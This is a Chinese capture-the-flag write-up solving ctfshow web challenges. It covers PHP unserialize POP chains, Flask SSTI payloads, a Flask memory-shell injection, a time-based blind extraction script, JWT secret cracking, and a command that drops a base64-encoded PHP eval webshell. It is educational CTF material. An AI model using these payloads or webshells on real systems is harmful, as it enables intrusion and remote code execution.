给我看看 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php header ("Content-Type: text/html;charset=utf-8" );error_reporting (0 );require_once ("flag.php" );class whoami { public $name ; public $your_answer ; public $useless ; public function __construct ( ) { $this ->name='ctfshow第一深情' ; $this ->your_answer='Only you know' ; $this ->useless="I_love_u" ; } public function __wakeup ( ) { global $flag ; global $you_never_know ; $this ->name=$you_never_know ; if ($this ->your_answer === $this ->name){ echo $flag ; } } } $secret = $_GET ['s' ];if (isset ($secret )){ if ($secret ==="给我看看!" ){ extract ($_POST ); if ($secret ==="给我看看!" ){ die ("<script>window.alert('这是不能说的秘密');location.href='https://www.bilibili.com/video/BV1CW411g7UF';</script>" ); } unserialize ($secret ); } }else { show_source (__FILE__ ); }
先赋值然后就if
,进来就看到可以进行参数覆盖,绕过一下才可以进行反序列化,不过这个绕过很简单,随便写点啥即可,强等于才可以获得flag
,这里直接进行引用就可以了
1 2 3 4 5 6 7 8 9 10 11 <?php class whoami { public $name ; public $your_answer ; public $useless ; public function __construct ( ) { $this ->your_answer=&$this ->name; } } echo serialize (new whoami ());
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 POST /?s=%E7%BB%99%E6%88%91%E7%9C%8B%E7%9C%8B! HTTP/1.1 Host : 4138c4c1-2ab2-49bb-b09c-a70b15bb4511.challenge.ctf.showContent-Length : 130Pragma : no-cacheCache-Control : no-cacheSec-Ch-Ua : "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"Sec-Ch-Ua-Mobile : ?0Sec-Ch-Ua-Platform : "Windows"Origin : https://4138c4c1-2ab2-49bb-b09c-a70b15bb4511.challenge.ctf.showContent-Type : application/x-www-form-urlencodedUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site : same-originSec-Fetch-Mode : navigateSec-Fetch-Dest : documentReferer : https://4138c4c1-2ab2-49bb-b09c-a70b15bb4511.challenge.ctf.show/Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8Priority : u=0, iConnection : closesecret =O%3 A6%3 A%22 whoami%22 %3 A3%3 A%7 Bs%3 A4%3 A%22 name%22 %3 BN%3 Bs%3 A11%3 A%22 your_answer%22 %3 BR%3 A2%3 Bs%3 A7%3 A%22 useless%22 %3 BN%3 B%7 D
easyPOP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 <?php highlight_file (__FILE__ );error_reporting (0 );class action_1 { public $tmp ; public $fun = 'system' ; public function __call ($wo ,$jia ) { call_user_func ($this ->fun); } public function __wakeup ( ) { $this ->fun = '' ; die ("阿祖收手吧,外面有套神" ); } public function __toString ( ) { return $this ->tmp->str; } } class action_2 { public $p ; public $tmp ; public function getFlag ( ) { if (isset ($_GET ['ctfshow' ])) { $this ->tmp = $_GET ['ctfshow' ]; } system ("cat /" .$this ->tmp); } public function __call ($wo ,$jia ) { phpinfo (); } public function __wakeup ( ) { echo "<br>" ; echo "php版本7.3哦,没有人可以再绕过我了" ; echo "<br>" ; } public function __get ($key ) { $function = $this ->p; return $function (); } } class action_3 { public $str ; public $tmp ; public $ran ; public function __construct ($rce ) { echo "送给你了" ; system ($rce ); } public function __destruct ( ) { urlencode ($this ->str); } public function __get ($jia ) { if (preg_match ("/action_2/" ,get_class ($this ->ran))){ return "啥也没有" ; } return $this ->ran->$jia (); } } class action_4 { public $ctf ; public $show ; public $jia ; public function __destruct ( ) { $jia = $this ->jia; echo $this ->ran->$jia ; } public function append ($ctf ,$show ) { echo "<br>" ; echo new $ctf ($show ); } public function __invoke ( ) { $this ->append ($this ->ctf,$this ->show); } } if (isset ($_GET ['pop' ])){ $pop = $_GET ['pop' ]; $output = unserialize ($pop ); if (preg_match ("/php/" ,$output )){ echo "套神黑进这里并给你了一个提示:文件名是f开头的形如fA6_形式的文件" ; die ("不可以用伪协议哦" ); } }
看着好长,好久没看过这么长的了,pop链子是这样(今天不看了,头晕😪)
写出poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php class action_1 { public $tmp ; public $fun = 'system' ; } class action_2 { public $p ; public $tmp ; } class action_3 { public $str ; public $tmp ; public $ran ; } class action_4 { public $ctf ; public $show ; public $jia ; } $a =new action_3 ();$a ->str=new action_1 ();$a ->str->tmp=new action_2 ();$a ->str->tmp->p=new action_4 ();$a ->str->tmp->p->ctf='action_3' ;$a ->str->tmp->p->show='ls' ;echo serialize ($a );
但是死活找不到于是打算写个木马
1 echo "PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg=="|base64 -d > /var/www/html/shell.php
谁是CTF之王? 据说输入框是可以链起来的,这里就要扫一下了
1 dirsearch -u https://0c3f9caa-9f40-49dd-bfdf-65f383984dcf.challenge.ctf.show/
拿到了路由/source
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from flask import Flask, render_template_string, request, send_from_directoryapp = Flask(__name__) @app.route('/' ) def index (): return send_from_directory('html' , 'index.html' ) @app.route('/ssti.html' ) def ssti (): return send_from_directory('html' , 'ssti.html' ) @app.route('/madlib' , methods=['POST' ] ) def madlib (): if len (request.json) == 5 : verb = request.json.get('verb' ) noun = request.json.get('noun' ) adjective = request.json.get('adjective' ) person = request.json.get('person' ) place = request.json.get('place' ) params = [verb, noun, adjective, person, place] if any (len (i) > 21 for i in params): return 'your words must not be longer than 21 characters!' , 403 madlib = ( f'To find out what this is you must {verb} the internet then get to the ' f'{noun} system through the visual MAC hard drive and program the open-source ' f'but overriding the bus won\'t do anything so you need to parse the online ' f'SSD transmitter, then index the neural DHCP card {adjective} . ' f'{person} taught me this trick when we met in {place} allowing you to download ' f'the knowledge of what this is directly to your brain.' ) return render_template_string(madlib) return 'This madlib only takes five words' , 403 @app.route('/source' ) def show_source (): return send_from_directory('/app/' , 'app.py' ) if __name__ == '__main__' : app.run('0.0.0.0' , port=80 )
每个关键词长度限制为21,并且是模版渲染,所以可以打ssti,利用set
进行关键词的拼接即可
1 2 3 4 5 6 7 8 9 10 11 12 import requestsurl="http://0c3f9caa-9f40-49dd-bfdf-65f383984dcf.challenge.ctf.show/madlib" poc={ "verb" :"{%set x=cycler%}" , "noun" :"{%set x=x.__init__%}" , "adjective" :"{%set x=x.__globals__" , "person" :"os.popen('cat f*')%}" , "place" :"{{x.read()}}" } r=requests.post(url=url,json=poc) print (r.text)
因为cycler的很短所以直接用的这个,进行拼接即可,其中这个poc就是测试得到的,如果不这么写,就不满足要求了,无法绕过了
近在眼前 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from flask import Flask, render_template_string, requestfrom flask_limiter import Limiterfrom flask_limiter.util import get_remote_addressapp = Flask(__name__) limiter = Limiter( app, key_func=get_remote_address, default_limits=["10000 per hour" ] ) @limiter.limit("5/second" , override_defaults=True ) @app.route('/' ) def index (): return ( "\x3cpre\x3e\x3ccode\x3e%s\x3c/code\x3e\x3c/pre\x3e" ) % open (__file__).read() @limiter.limit("5/second" , override_defaults=True ) @app.route('/ssti' ) def check (): flag = open ("/app/flag.txt" , 'r' ).read().strip() if "input" in request.args: query = request.args["input" ] render_template_string(query) return "Thank you for your input." return "No input found." app.run('0.0.0.0' , 80 )
进去之后得到源码,我觉得可以打一波内存马,当然盲注也是可以的
1 ssti?input{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}
然后直接拿shell
即可?cmd=ls
,然后再来写个盲注脚本,使用cut
进行切片
1 if [ `cut -c 1 /app/flag.txt` = \"c\" ];then sleep 2;fi'
这if还需要写结束语句,并且其中进行替换即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import requests as reqimport timechar_set = "1234567890abcdefghijklmnopqrstuvwxyz-{}" sess = req.session() flag = "" for i in range (1 , 46 ): for c in char_set: url = r"""http://56372510-315a-4d16-916d-28354adc4c0a.challenge.ctf.show/ssti?input={{lipsum.__globals__.__builtins__.eval("__import__('os').popen('if [ `cut -c %d /app/flag.txt` = \"%s\" ];then sleep 2;fi').read()")}}""" % ( i, c) time.sleep(0.2 ) resp = sess.get(url) if resp.elapsed.seconds >= 2 : print (c) flag+=c break print (flag)
通关大佬 有个jwt
,进行密钥爆破,安装一个工具jwt-cracker
1 2 3 4 sudo apt install gcc sudo apt install make sudo apt install libssl-dev make
现在就可以使用了
1 ./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoidXNlciIsImV4cCI6MTczNjU4NjY4Nn0.Bfbh5fr6StlgmBIxQQgmj_8GcLQh-OvcPp9_Z9VRrAU
得到密码为12345
,伪造成admin之后进入发现是一个编辑框,然后随便发了一点东西就发现这个东西token直接失效了,也就是说要一直换token了,但是那个编辑框的漏洞还没有找到,后面看官方wp发现是ssti,进行拼接,条件说一下
<通关人>没任何过滤,但有长度限制,只能25个字符以内
<通关感言>有较严格的过滤,包括下划线、单双引号、request、中括号、百分号等一些关键字符
导致只通过其中一个输入框无法getshell,需要多个输入框进行配合getshell
这里选择了通过<通关人>和<通关感言>进行配合getshell
,而其中比较重要的就是利用外带参数来利用了,cookie放我们伪造好的时间肯定够,并且登录之后会自动重定向到edit
,这里才有cookie,所以脚本不是很好写,我就直接写poc了
1 2 3 4 /edit?a=__init__&b=__globals__&c=__getitem__&d=os&e=popen&f=cat /f*&g=read POST: name={%25set r=request.args%25}&rank=1&speech={{(config|attr(r.a)|attr(r.b))|attr(r.c)(r.d)|attr(r.e)(r.f)|attr(r.g)()}}&time=2021年11月11日
就可以拿到flag了
简单的验证码 进来得到了密码本,然后听了半天没有听出来,于是使用微信语音转文字,得到验证码31064126
,进行bp爆破即可,结果一看爆破结果,他喵的,这个验证码,每次都不一样,我服了,只能手动爆破猜了
都不对,哎,绷不住了,看了官方wp是一个misc,但是我真的很想要这个100分,于是我决定手动爆破了,爆了十几个发现搞不下去了,太鸡儿难受了,于是开摆